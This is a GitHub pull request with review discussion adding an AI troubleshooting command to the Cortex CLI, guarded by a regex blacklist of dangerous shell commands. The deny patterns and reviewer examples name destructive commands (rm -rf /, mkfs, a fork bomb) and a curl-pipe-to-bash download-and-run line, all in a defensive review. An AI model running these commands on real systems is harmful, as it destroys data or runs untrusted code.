Skip to content

Conversation

@KrishnaShuk
Copy link
Contributor

@KrishnaShuk KrishnaShuk commented Jan 12, 2026

Related Issue

Closes #59

Summary

Adds an interactive AI-powered troubleshooting assistant (cortex troubleshoot) that can diagnose system issues, suggest shell commands, and execute them on behalf of the user with explicit confirmation. Includes a comprehensive dangerous command blacklist to prevent accidental execution of destructive commands like rm -rf.

AI Disclosure

  • No AI used
  • AI/IDE/Agents used (please describe below)

Demonstration

Screencast.from.2026-01-16.14-48-39.webm

cortex_support_log.txt: https://gist.github.com/KrishnaShuk/4d528dd82bf5dcdd022562457d8b23fb
resolutions.json[for learning purpose]: https://gist.github.com/KrishnaShuk/a41e040bbd9290454b7a15c1017faee9

Google antigravity ai coding assistant(Claude Opus 4.5 ) was used for framing better tests and creating the command file.

Checklist

  • PR title follows format: type(scope): description or [scope] description
  • Tests pass (pytest tests/)
  • MVP label added if closing MVP issue
  • Update "Cortex -h" (if needed)

Summary by CodeRabbit

  • New Features

    • Added a system health "doctor" command and an interactive "troubleshoot" assistant (AI-guided, safe command execution, session learning).
    • Ask API now accepts an optional system prompt for customizable behavior.
    • Added persistent storage for learned resolutions so fixes can be recalled.
  • Documentation

    • Updated command reference with new commands, usage, examples, and safety guidance.
  • Tests

    • Added comprehensive tests for troubleshooting and resolution persistence; removed legacy licensing tests.

✏️ Tip: You can customize this high-level summary in your review settings.

@coderabbitai
Copy link
Contributor

coderabbitai bot commented Jan 12, 2026

Note

Other AI code review bot(s) detected

CodeRabbit has detected other AI code review bot(s) in this pull request and will avoid duplicating their findings in the review comments. This may lead to a less comprehensive review.

📝 Walkthrough

Walkthrough

Adds an interactive Troubleshooter CLI command and supporting modules: a Troubleshooter agent that interacts with an AI, extracts and safely executes shell commands, and a ResolutionManager for persisting learned fixes. Also updates AskHandler.ask signature to accept an optional system_prompt and adds tests and docs.

Changes

Cohort / File(s) Summary
Ask API
cortex/ask.py
Updated `AskHandler.ask(self, question: str, system_prompt: str
CLI
cortex/cli.py
Added CortexCLI.doctor() and CortexCLI.troubleshoot() methods and wired CLI routing/parsers to expose doctor and troubleshoot commands.
Interactive Troubleshooter
cortex/troubleshoot.py
New module implementing Troubleshooter with interactive loop, AI integration, code-block extraction, dangerous-pattern blocking, optional Firejail sandboxed command execution, logging, and learning-on-exit flows. Exports DANGEROUS_PATTERNS and Troubleshooter.
Resolution persistence
cortex/resolutions.py
New ResolutionManager and Resolution TypedDict. Ensures JSON storage, save(issue, fix), and search(query, limit=3) using simple keyword-overlap scoring; caps history at 50 entries.
Docs
docs/COMMANDS.md
Added entries and detailed documentation for cortex doctor and cortex troubleshoot, including usage, flow, examples, and safety notes.
Tests (troubleshooter)
tests/test_troubleshoot.py
New comprehensive unit tests for Troubleshooter: code block extraction, safety checks, execution (including sandboxing/timeouts), interactive flows, error handling, learning-on-exit, and logging.
Tests (resolutions)
tests/test_resolutions.py
New tests for ResolutionManager persistence, search, limits, and max-history enforcement.
Removed tests
tests/test_licensing.py
Entire test file deleted.
Support log (example)
cortex_support_log.txt
Added example troubleshooting log capturing a Docker startup issue and remediation steps.

Sequence Diagram(s)

sequenceDiagram
    actor User
    participant CLI as CortexCLI
    participant TS as Troubleshooter
    participant AI as AI Provider
    participant RM as ResolutionManager
    participant Shell as System/Shell

    User->>CLI: cortex troubleshoot
    CLI->>TS: start()
    TS->>RM: search(issue)
    RM-->>TS: matching_resolutions
    TS->>AI: send(system_prompt + history)
    AI-->>TS: response (may include code blocks)
    TS->>TS: extract_code_blocks()
    TS->>TS: is_command_safe()
    alt command safe
        TS->>Shell: execute_command()
        Shell-->>TS: stdout/stderr
        TS->>AI: send(command results)
        AI-->>TS: next steps
    else command unsafe
        TS-->>User: blocked (dangerous)
    end
    loop interactive session
        User->>TS: input (continue/quit/doctor/help)
        TS->>AI: send(user input + context)
        AI-->>TS: response
    end
    alt user confirms solved
        TS->>TS: synthesize_resolution()
        TS->>RM: save(issue, fix)
        RM-->>TS: persisted
    end
    TS-->>User: exit_code
Loading

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~45 minutes

Possibly related PRs

Suggested reviewers

  • mikejmorgan-ai
  • Suyashd999
  • Anshgrover23

Poem

🐰 I hopped into logs and shells tonight,

With safe little hops to keep things right.
Commands in boxes, sandboxed and neat,
I learned each fix and stored the feat.
Hooray — we troubleshoot with gentle light!

🚥 Pre-merge checks | ✅ 4 | ❌ 1
❌ Failed checks (1 warning)
Check name Status Explanation Resolution
Out of Scope Changes check ⚠️ Warning The PR includes removal of tests/test_licensing.py (431 lines deleted) which appears unrelated to the troubleshooting assistant feature and the #59 requirements. Additionally, changes to cortex/ask.py adding system_prompt parameter are not part of the #59 scope. Remove unrelated changes: restore tests/test_licensing.py and clarify the necessity of the system_prompt parameter changes to cortex/ask.py, or explain their connection to the troubleshooting feature in the PR description.
✅ Passed checks (4 passed)
Check name Status Explanation
Title check ✅ Passed The PR title 'feat: add interactive troubleshooting assistant' clearly and directly describes the main change: adding the interactive troubleshooting feature. It follows conventional commit format and accurately represents the core functionality added.
Description check ✅ Passed The PR description covers the key sections including Related Issue (#59), Summary of functionality, AI Disclosure (with tool specification), and most checklist items. However, the MVP label checkbox is unchecked and 'Update Cortex -h' is unchecked, indicating incomplete checklist items.
Linked Issues check ✅ Passed The PR implements most core requirements from #59: interactive AI troubleshooting [#59], command execution with safety checks [#59], learning system via ResolutionManager [#59], Claude API integration [#59], comprehensive test suite [#59], and CLI documentation [#59]. Integration with error logs and escalation paths are partially addressed through the support log feature.
Docstring Coverage ✅ Passed Docstring coverage is 80.25% which is sufficient. The required threshold is 80.00%.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing touches
  • 📝 Generate docstrings


📜 Recent review details

Configuration used: defaults

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between d55887c and e8c01dc.

📒 Files selected for processing (1)
  • tests/test_licensing.py
💤 Files with no reviewable changes (1)
  • tests/test_licensing.py
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (6)
  • GitHub Check: Test (Python 3.12)
  • GitHub Check: Test (Python 3.10)
  • GitHub Check: Test (Python 3.11)
  • GitHub Check: test (3.12)
  • GitHub Check: test (3.11)
  • GitHub Check: test (3.10)

✏️ Tip: You can disable this entire section by setting review_details to false in your review settings.


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@gemini-code-assist
Copy link
Contributor

Summary of Changes

Hello @KrishnaShuk, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!

This pull request integrates an advanced AI-powered troubleshooting assistant into Cortex. The primary goal is to streamline the process of identifying and resolving system problems by allowing an AI to interactively guide users, suggest solutions, and safely execute commands, thereby enhancing user experience and system maintainability.

Highlights

  • New Interactive AI Troubleshooting Assistant: Introduces a new cortex troubleshoot command that launches an interactive AI-powered assistant designed to diagnose system issues.
  • AI-Driven Command Suggestion and Execution: The assistant can suggest specific shell commands to resolve problems and, with explicit user confirmation, execute these commands directly within the session.
  • Robust Dangerous Command Blacklist: A comprehensive blacklist of dangerous shell command patterns (e.g., rm -rf, dd, chmod 777 /) is implemented to prevent accidental execution of destructive operations.
  • Contextual AI Interaction: The AI maintains conversational context, analyzes command outputs, and provides step-by-step guidance based on the results of executed commands.
Using Gemini Code Assist

The full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips.

Invoking Gemini

You can request assistance from Gemini at any point by creating a comment using either /gemini <command> or @gemini-code-assist <command>. Below is a summary of the supported commands on the current page.

Feature Command Description
Code Review /gemini review Performs a code review for the current pull request in its current state.
Pull Request Summary /gemini summary Provides a summary of the current pull request in its current state.
Comment @gemini-code-assist Responds in comments when explicitly tagged, both in pull request comments and review comments.
Help /gemini help Displays a list of available commands.

Customization

To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a .gemini/ folder in the base of the repository. Detailed instructions can be found here.

Limitations & Feedback

Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here.

You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension.

Footnotes

  1. Review the Privacy Notices, Generative AI Prohibited Use Policy, Terms of Service, and learn how to configure Gemini Code Assist in GitHub here. Gemini can make mistakes, so double check it and use code with caution.

Copy link
Contributor

@gemini-code-assist gemini-code-assist bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request introduces an interactive troubleshooting assistant, which is a great feature. The implementation is solid, leveraging rich for a good user experience and including important safety features like a dangerous command blacklist and user confirmation before execution.

My review focuses on enhancing security and improving code efficiency. I've identified a potential security gap in the command blacklist and suggest adding patterns to prevent command execution via pipes. I've also pointed out an opportunity to refactor the AI initialization logic for better performance and clarity, and noted an unused import.

Overall, this is a well-executed feature addition. Addressing these points will make it even more robust and secure.

Comment on lines 28 to 42
DANGEROUS_PATTERNS = [
r"\brm\s+(-[^\s]*\s+)*-rf\b", # rm -rf
r"\brm\s+(-[^\s]*\s+)*-fr\b", # rm -fr (same as above)
r"\brm\s+(-[^\s]*\s+)*/\s*$", # rm /
r"\bmkfs\b", # Format filesystem
r"\bdd\s+.*of=/dev/", # dd to device
r">\s*/dev/sd[a-z]", # Redirect to disk
r"\bchmod\s+(-[^\s]*\s+)*777\s+/", # chmod 777 on root
r"\bchown\s+.*\s+/\s*$", # chown on root
r":\(\)\s*{\s*:\|:\s*&\s*}", # Fork bomb
r"\bshutdown\b", # Shutdown
r"\breboot\b", # Reboot
r"\binit\s+0\b", # Halt
r"\bpoweroff\b", # Poweroff
]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

high

The dangerous command blacklist is a great security measure. However, it's missing patterns to prevent a common and very dangerous attack vector: piping content from the internet directly into a shell. An AI could be manipulated to suggest a command like curl http://malicious.site/install.sh | bash, which would bypass the current checks and execute arbitrary code. I recommend adding patterns to block this.

Suggested change
DANGEROUS_PATTERNS = [
r"\brm\s+(-[^\s]*\s+)*-rf\b", # rm -rf
r"\brm\s+(-[^\s]*\s+)*-fr\b", # rm -fr (same as above)
r"\brm\s+(-[^\s]*\s+)*/\s*$", # rm /
r"\bmkfs\b", # Format filesystem
r"\bdd\s+.*of=/dev/", # dd to device
r">\s*/dev/sd[a-z]", # Redirect to disk
r"\bchmod\s+(-[^\s]*\s+)*777\s+/", # chmod 777 on root
r"\bchown\s+.*\s+/\s*$", # chown on root
r":\(\)\s*{\s*:\|:\s*&\s*}", # Fork bomb
r"\bshutdown\b", # Shutdown
r"\breboot\b", # Reboot
r"\binit\s+0\b", # Halt
r"\bpoweroff\b", # Poweroff
]
DANGEROUS_PATTERNS = [
r"\brm\s+(-[^\s]*\s+)*-rf\b", # rm -rf
r"\brm\s+(-[^\s]*\s+)*-fr\b", # rm -fr (same as above)
r"\brm\s+(-[^\s]*\s+)*/\s*$", # rm /
r"\bmkfs\b", # Format filesystem
r"\bdd\s+.*of=/dev/", # dd to device
r">\s*/dev/sd[a-z]", # Redirect to disk
r"\bchmod\s+(-[^\s]*\s+)*777\s+/", # chmod 777 on root
r"\bchown\s+.*\s+/\s*$", # chown on root
r":\(\)\s*{\s*:|:\s*&\s*}", # Fork bomb
r"\bshutdown\b", # Shutdown
r"\breboot\b", # Reboot
r"\binit\s+0\b", # Halt
r"\bpoweroff\b", # Poweroff
r"\|\s*bash", # Pipe to bash
r"\|\s*sh", # Pipe to sh
]

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@KrishnaShuk Address this one.

Comment on lines 51 to 62
try:
self.api_key = self._get_api_key()
self.provider = self._get_provider()

# Validate key presence (Ollama uses dummy key, so it's fine)
if not self.api_key and self.provider != "ollama":
raise ValueError(f"No API key found for provider '{self.provider}'")

self.ai = AskHandler(self.api_key, self.provider)
except Exception as e:
self.logger.warning(f"Failed to initialize AI: {e}")
self.ai = None
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

The __init__ method calls _get_api_key() and _get_provider(), each of which calls auto_detect_api_key(). This results in a redundant call. You can refactor this to call auto_detect_api_key() only once and process its results directly within __init__. This improves efficiency and simplifies the code. After applying this change, the _get_api_key and _get_provider methods can be removed.

Suggested change
try:
self.api_key = self._get_api_key()
self.provider = self._get_provider()
# Validate key presence (Ollama uses dummy key, so it's fine)
if not self.api_key and self.provider != "ollama":
raise ValueError(f"No API key found for provider '{self.provider}'")
self.ai = AskHandler(self.api_key, self.provider)
except Exception as e:
self.logger.warning(f"Failed to initialize AI: {e}")
self.ai = None
try:
found, key, provider, _ = auto_detect_api_key()
self.api_key = key or ""
provider_name = provider or "openai"
if provider_name == "anthropic":
self.provider = "claude"
else:
self.provider = provider_name
# Validate key presence (Ollama uses dummy key, so it's fine)
if not self.api_key and self.provider != "ollama":
raise ValueError(f"No API key found for provider '{self.provider}'")
self.ai = AskHandler(self.api_key, self.provider)
except Exception as e:
self.logger.warning(f"Failed to initialize AI: {e}")
self.ai = None

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@KrishnaShuk Can u address this one ?

@KrishnaShuk KrishnaShuk changed the title [feat]Added Interactive Troubleshooting Assistant feat: add interactive troubleshooting assistant Jan 12, 2026
Copy link
Collaborator

@Anshgrover23 Anshgrover23 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

AI coding agent was used for framing better tests and creating the command file.

@KrishnaShuk But which one ?
Also, missing demonstrating video and documentation file.

@KrishnaShuk
Copy link
Contributor Author

This PR is still in the draft. I will complete the details soon.

@github-actions
Copy link

github-actions bot commented Jan 13, 2026

CLA Verification Passed

All contributors have signed the CLA.

Contributor Signed As
@KrishnaShuk @KrishnaShuk
@Anshgrover23 @Anshgrover23

@KrishnaShuk KrishnaShuk marked this pull request as ready for review January 13, 2026 15:30
@KrishnaShuk
Copy link
Contributor Author

PTAL @Anshgrover23!

@Anshgrover23
Copy link
Collaborator

Anshgrover23 commented Jan 13, 2026

@coderabbitai review.

@coderabbitai
Copy link
Contributor

coderabbitai bot commented Jan 13, 2026

@Anshgrover23: I'll review the PR now. Let me analyze the changes and provide feedback on the implementation of the interactive troubleshooting assistant.

✅ Actions performed

Review triggered.

Note: CodeRabbit is an incremental review system and does not re-review already reviewed commits. This command is applicable only when automatic reviews are paused.

@coderabbitai
Copy link
Contributor

coderabbitai bot commented Jan 13, 2026

@Anshgrover23: I'll review the changes in this PR now.

✅ Actions performed

Review triggered.

Note: CodeRabbit is an incremental review system and does not re-review already reviewed commits. This command is applicable only when automatic reviews are paused.

Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🤖 Fix all issues with AI agents
In @cortex/troubleshoot.py:
- Around line 207-214: The analysis call to self.ai.ask in Troubleshooter (the
block that sets analysis = self.ai.ask(...)) omits the troubleshooter's system
prompt, causing AskHandler to use its default persona; update that call to
include the same system prompt used by the troubleshooter (e.g., pass
system_prompt=self.system_prompt or the variable name used elsewhere in the
class) so the follow-up analysis uses the same persona/context as prior
messages.
🧹 Nitpick comments (7)
cortex/troubleshoot.py (4)

70-80: Unused helper methods _get_provider and _get_api_key.

These methods duplicate logic already executed in __init__ and are never called anywhere. Consider removing them to reduce dead code.

🔧 Remove unused methods
-    def _get_provider(self) -> str:
-        """Determine which LLM provider to use."""
-        found, _, provider, _ = auto_detect_api_key()
-        if provider == "anthropic":
-            return "claude"
-        return provider or "openai"
-
-    def _get_api_key(self) -> str:
-        """Get the API key for the configured provider."""
-        found, key, _, _ = auto_detect_api_key()
-        return key or ""

28-44: Consider expanding dangerous command patterns.

The current blacklist is a good start but could be enhanced:

  1. Pattern on line 31 (r"\brm\s+(-[^\s]*\s+)*/\s*$") requires the command to end with / but rm -rf / --no-preserve-root would bypass it since it doesn't end with /.
  2. Consider adding patterns for curl ... | bash, wget -O- ... | sh, and eval with untrusted input.
🔒 Suggested additional patterns
 DANGEROUS_PATTERNS = [
     r"\brm\s+(-[^\s]*\s+)*-rf\b",  # rm -rf
     r"\brm\s+(-[^\s]*\s+)*-fr\b",  # rm -fr (same as above)
-    r"\brm\s+(-[^\s]*\s+)*/\s*$",  # rm /
+    r"\brm\s+(-[^\s]*\s+)*/",  # rm / (anywhere in command)
     r"\bmkfs\b",  # Format filesystem
     r"\bdd\s+.*of=/dev/",  # dd to device
     r">\s*/dev/sd[a-z]",  # Redirect to disk
     r"\bchmod\s+(-[^\s]*\s+)*777\s+/",  # chmod 777 on root
     r"\bchown\s+.*\s+/\s*$",  # chown on root
     r":\(\)\s*{\s*:\|:\s*&\s*}",  # Fork bomb
     r"\bshutdown\b",  # Shutdown
     r"\breboot\b",  # Reboot
     r"\binit\s+0\b",  # Halt
     r"\bpoweroff\b",  # Poweroff
     r"\|\s*bash",  # Pipe to bash
     r"\|\s*sh",  # Pipe to sh
+    r"\beval\s+",  # eval command
+    r"\bcurl\b.*\|\s*sudo",  # curl piped to sudo
+    r"\bwget\b.*\|\s*sudo",  # wget piped to sudo
 ]

13-13: Unused import Optional.

The code uses Python 3.10+ union syntax (str | None) throughout, making the Optional import unnecessary.

♻️ Remove unused import
-from typing import Optional

47-68: Add class-level docstring for Troubleshooter.

Per coding guidelines, public APIs should have docstrings. The class is missing documentation describing its purpose and usage.

📝 Add docstring
 class Troubleshooter:
+    """Interactive AI-powered troubleshooting assistant.
+    
+    Provides a conversational interface for diagnosing and resolving
+    system issues. Suggests shell commands, executes them with user
+    confirmation, and analyzes output to guide next steps.
+    
+    Attributes:
+        logger: CortexLogger instance for logging operations.
+        messages: Conversation history for context.
+        ai: AskHandler instance for LLM interactions.
+        provider: The LLM provider being used.
+        api_key: API key for the provider.
+    """
     def __init__(self):
docs/COMMANDS.md (2)

157-177: Add language specifier to fenced code block.

The flow diagram code block lacks a language specifier. While it's ASCII art, adding a specifier like text or leaving it empty is fine, but markdown linters flag this.

📝 Fix markdown lint warning
 **Flow:**
-```
+```text
 ┌─────────────────────────────────────────┐
 │  User describes issue                   │

179-199: Add language specifier to example session code block end.

The code block ending at line 199 lacks a language specifier for the closing context after the bash block.

Note: The nested bash block structure makes this tricky. Consider restructuring to avoid the lint warning or accept it as-is since the content is illustrative.

tests/test_troubleshoot.py (1)

324-341: Test for doctor command doesn't verify invocation.

The comment on line 340-341 acknowledges that SystemDoctor is imported inside the function, making it difficult to verify the call. Consider refactoring to enable proper verification.

💡 Alternative approach to verify doctor invocation
@patch("cortex.troubleshoot.console")
@patch("cortex.troubleshoot.Prompt")
def test_doctor_command(self, mock_prompt, mock_console):
    """Test that 'doctor' command runs SystemDoctor."""
    mock_prompt.ask.side_effect = ["doctor", "exit"]

    with patch("cortex.troubleshoot.auto_detect_api_key") as mock_detect:
        mock_detect.return_value = (True, "test-key", "fake", "env")
        with patch("cortex.ask.AskHandler"):
            # Patch at the point of import inside the function
            with patch.dict('sys.modules', {'cortex.doctor': MagicMock()}) as mock_doctor_module:
                mock_doctor_instance = MagicMock()
                mock_doctor_module.SystemDoctor.return_value = mock_doctor_instance
                
                troubleshooter = Troubleshooter()
                troubleshooter.messages = [{"role": "system", "content": "test"}]
                troubleshooter._interactive_loop()
                
                # Now we can verify
                mock_doctor_instance.run_checks.assert_called_once()
📜 Review details

Configuration used: defaults

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between a4d2281 and f49bc9b.

📒 Files selected for processing (5)
  • cortex/ask.py
  • cortex/cli.py
  • cortex/troubleshoot.py
  • docs/COMMANDS.md
  • tests/test_troubleshoot.py
🧰 Additional context used
📓 Path-based instructions (2)
**/*.py

📄 CodeRabbit inference engine (AGENTS.md)

**/*.py: Follow PEP 8 style guide for Python code
Include type hints in Python code
Add docstrings for all public APIs in Python code
Use dry-run mode by default for all installation operations
Do not use silent sudo - require explicit user confirmation for privilege escalation
Implement Firejail sandboxing for execution of untrusted code
Log all operations to ~/.cortex/history.db for audit purposes

Files:

  • cortex/troubleshoot.py
  • cortex/ask.py
  • tests/test_troubleshoot.py
  • cortex/cli.py
tests/**/*.py

📄 CodeRabbit inference engine (AGENTS.md)

Maintain test coverage above 80% for pull requests

Files:

  • tests/test_troubleshoot.py
🧬 Code graph analysis (4)
cortex/troubleshoot.py (3)
cortex/api_key_detector.py (1)
  • auto_detect_api_key (657-665)
cortex/ask.py (1)
  • AskHandler (137-354)
cortex/cli.py (1)
  • doctor (2004-2009)
cortex/ask.py (2)
cortex/cli.py (1)
  • ask (604-633)
cortex/llm/interpreter.py (1)
  • _get_system_prompt (109-143)
tests/test_troubleshoot.py (2)
cortex/cli.py (1)
  • troubleshoot (2011-2016)
cortex/troubleshoot.py (6)
  • Troubleshooter (47-224)
  • _extract_code_blocks (106-110)
  • _is_command_safe (112-121)
  • _execute_command (123-132)
  • start (82-104)
  • _interactive_loop (134-224)
cortex/cli.py (2)
cortex/doctor.py (2)
  • SystemDoctor (21-478)
  • run_checks (48-103)
cortex/troubleshoot.py (1)
  • Troubleshooter (47-224)
🪛 markdownlint-cli2 (0.18.1)
docs/COMMANDS.md

157-157: Fenced code blocks should have a language specified

(MD040, fenced-code-language)


199-199: Fenced code blocks should have a language specified

(MD040, fenced-code-language)

🔇 Additional comments (13)
cortex/ask.py (1)

288-310: LGTM! Clean backward-compatible API extension.

The optional system_prompt parameter allows external callers (like the new Troubleshooter) to supply a custom prompt while preserving the original behavior when omitted. The conditional logic correctly skips context gathering when a prompt is provided.

cortex/cli.py (3)

2004-2016: LGTM! Clean implementation following existing patterns.

The new doctor() and troubleshoot() methods correctly use lazy imports for faster CLI startup and follow the established pattern of delegating to domain-specific classes.


2495-2499: LGTM! Subparser definitions are correct.

The new subparsers for doctor and troubleshoot are properly defined and will integrate with the existing CLI infrastructure.


2554-2557: LGTM! Command routing is correct.

The new commands are properly routed to their respective CLI methods.

docs/COMMANDS.md (2)

14-15: LGTM! Quick reference table updated correctly.

The new commands are properly documented in the quick reference.


140-217: Excellent documentation for the troubleshoot feature.

The documentation is thorough with clear examples, flow diagrams, safety information, and special commands. This will help users understand and use the feature effectively.

tests/test_troubleshoot.py (7)

1-11: LGTM! Test file setup is correct.

Proper imports and path setup for test discovery.


13-88: Excellent test coverage for _extract_code_blocks.

Tests cover bash blocks, sh blocks, generic blocks, multiple blocks, no blocks, and multiline commands. This thoroughly validates the regex extraction logic.


90-163: Good coverage for _is_command_safe blacklist enforcement.

Tests validate both safe commands (ls, df, systemctl) and dangerous commands (rm -rf, mkfs, dd, shutdown, reboot, chmod 777 /). Consider adding edge case tests for bypass attempts.


165-198: Good _execute_command tests including timeout handling.

Tests cover simple commands, stderr capture, and timeout exceptions. The mocking approach for timeout is correct.


371-397: Excellent integration test for command execution flow.

This test validates the full happy path: user input → AI response with code block → user confirmation → command execution. Good use of side_effect for sequencing mock responses.


399-420: Critical safety test: dangerous commands are blocked.

Good test verifying that rm -rf / is blocked and _execute_command is never called. This is essential for the security guarantee.


478-479: LGTM! Test file is well-structured.

The test suite provides good coverage for the Troubleshooter component with proper isolation through mocking.

Copy link
Collaborator

@Anshgrover23 Anshgrover23 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@KrishnaShuk Issue requirement is incompleted:

  • Learn from successful resolutions
  • Escalation path to human support
    Also, kindly address bot comments as well.

@Anshgrover23 Anshgrover23 marked this pull request as draft January 13, 2026 18:53
@KrishnaShuk
Copy link
Contributor Author

@Anshgrover23 I have completed all the requirements and the feature is working robustly.
I have changed the PR content and video for the new changes.
If anything needs to be changed or added kindly let me know.

@KrishnaShuk KrishnaShuk marked this pull request as ready for review January 16, 2026 09:39
@KrishnaShuk KrishnaShuk force-pushed the feat/troubleshootCommand branch from e8c01dc to d55887c Compare January 16, 2026 11:45
@sonarqubecloud
Copy link

Copy link
Collaborator

@Anshgrover23 Anshgrover23 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@KrishnaShuk Added some comments. Also, there is still some gemini bot comments left above.

Comment on lines +65 to +67
if not self.api_key and self.provider != "ollama":
raise ValueError(f"No API key found for provider '{self.provider}'")
self.ai = AskHandler(self.api_key, self.provider)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This exception is raised inside __init__ but then caught and logged, setting self.ai = None. However, if provider is "ollama" with an empty key, it will still try to create AskHandler which may fail unexpectedly. Fix this issue.

Comment on lines +180 to +181
import json
import re
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Always move import at the top of the file.

system_prompt="Create a concise summary of the issue with user's POV",
)

log_file = "cortex_support_log.txt"
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hardcoded filename in current working directory. Should use a configurable path or write to ~/.cortex/ like ResolutionManager does.


try:
result = subprocess.run(
exec_cmd, shell=True, capture_output=True, text=True, timeout=30
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What if long-running diagnostic commands (e.g., journalctl, large grep) may exceed this ?

with console.status("[cyan]Thinking...[/cyan]"):
# Construct prompt with history
history_text = "\n".join(
[f"{m['role']}: {m['content']}" for m in self.messages[-5:]]
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do not use magic numbers, add them to constants.

Comment on lines +45 to +46
r"\|\s*bash", # Pipe to bash
r"\|\s*sh", # Pipe to sh
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This blocks legitimate uses like cat file.sh | bash but allows curl ... | /bin/bash (full path). Pattern is incomplete.


exec_cmd = cmd
if use_sandbox:
exec_cmd = f"firejail --quiet --private-tmp {cmd}"
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Command injection risk. If cmd contains shell metacharacters, they're not escaped. Consider using shlex.quote(cmd) or passing as argument list instead of string interpolation.

Comment on lines +3440 to +3443
subparsers.add_parser("doctor", help="System health check")

# Troubleshoot command
subparsers.add_parser("troubleshoot", help="Interactive system troubleshooter")
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No arguments/options added to these subparsers. Consider adding --verbose or --no-execute flags for troubleshoot.

Comment on lines +76 to +78
for res in resolutions:
if "issue" not in res or "fix" not in res:
continue
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Silent skip of malformed entries. Should log a warning for debugging corrupted resolution files.

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Remove this file.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Interactive Troubleshooting Assistant

2 participants